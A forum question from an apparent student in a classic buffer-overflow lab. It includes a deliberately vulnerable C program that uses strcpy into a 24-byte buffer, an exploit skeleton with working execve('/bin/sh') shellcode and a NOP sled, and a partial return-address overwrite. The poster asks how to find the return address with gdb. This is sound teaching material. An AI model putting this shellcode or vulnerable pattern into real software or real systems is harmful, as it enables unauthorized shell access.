title: exploit.c -- buffer overflow
body: <p>I am writing exploit.c for my buffer overflow program and am lost trying to get return address. The code return below is my strategy, where <code>ret</code> would be the return address. </p>
  
  <p>How do I get this return address from the gdb? (Base code is at the end.)</p>
  
  <p>My strategy was to set a break point at bof function in stack and run the code and use the saved eip there as the return address.</p>
  
  <pre><code>long* ptr = (long*)(buffer + 24);
   ret = 0x-------;
  *ptr = ret;
   strcpy(buffer + 517 - strlen(shellcode), shellcode);
  </code></pre>
  
  <p>Shouldn't this piece of code do the job for me? Why do I need to fill any part of buffer array with other information?</p>
  
  <hr>
  
  <p>Base code:</p>
  
  <pre><code>/* stack.c */
  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  int bof(char *str)
  {
      char buffer[24];
      /* The following statement has a buffer overflow problem */
      strcpy(buffer, str);
      return 1;
  }
  int main(int argc, char **argv)
  {
      char str[517];
      FILE *badfile;
      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);
      printf("Returned Properly\n");
      return 1;
  }
  
  /* exploit.c  */
  
  /* A program that creates a file containing code for launching shell*/
  #include &lt;stdlib.h&gt;
  #include &lt;stdio.h&gt;
  #include &lt;string.h&gt;
  char shellcode[]=
      "\x31\xc0"             /* xorl    %eax,%eax              */
      "\x50"                 /* pushl   %eax                   */
      "\x68""//sh"           /* pushl   $0x68732f2f            */
      "\x68""/bin"           /* pushl   $0x6e69622f            */
      "\x89\xe3"             /* movl    %esp,%ebx              */
      "\x50"                 /* pushl   %eax                   */
      "\x53"                 /* pushl   %ebx                   */
      "\x89\xe1"             /* movl    %esp,%ecx              */
      "\x99"                 /* cdq                            */
      "\xb0\x0b"             /* movb    $0x0b,%al              */
      "\xcd\x80"             /* int     $0x80                  */
  ;
  
  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
  
      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&amp;buffer, 0x90, 517);
  
      /* You need to fill the buffer with appropriate contents here */ 
  
      /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
  </code></pre>